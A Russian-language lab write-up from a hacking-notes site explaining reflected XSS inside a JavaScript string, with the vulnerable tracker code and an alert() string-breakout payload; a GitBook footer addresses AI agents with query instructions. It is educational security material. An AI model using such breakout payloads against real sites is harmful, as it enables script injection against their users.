> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md).

# Отражённый XSS в строке JavaScript с HTML-кодированными угловыми скобками

### Отражённый XSS в строку JavaScript с HTML-экранированными угловыми скобками

В этой лаборатории есть уязвимость типа XSS, отражаемая в механизме отслеживания поискового запроса: угловые скобки (`<` и `>`) кодируются в HTML, но отражённое значение вставляется внутрь \*\*строки JavaScript\*\*. Цель — выйти из этой строки JS и вызвать `alert()`.

**Фрагмент, относящийся к наблюдаемому коду**

{% code overflow="wrap" %}

```javascript
var searchTerms = 'hello';
   document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
```

{% endcode %}

<figure><img src="/files/82ff38b6e7d479d6a3c2e99e45b29c189cdaa89d" alt=""><figcaption></figcaption></figure>

Значение поиска (`searchTerms`) конкатенируется в `document.write` инструкцию внутри HTML-строки, сформированной JavaScript. Вставив апостроф (`'`) в значение, вы можете закрыть текущую строку JavaScript и выполнить произвольный код.

```javascript
hello'
```

<figure><img src="/files/53654a3c5700695e94435a14acf9fc96bf7bc072" alt=""><figcaption></figcaption></figure>

Отправив следующую строку в качестве поискового значения, вы закрываете строку, запускаете `alert(0)` а затем закрываете:

```javascript
hello' ; alert(0);'
```

<figure><img src="/files/258c3e906d256fa0550414834e9867684d931b3d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
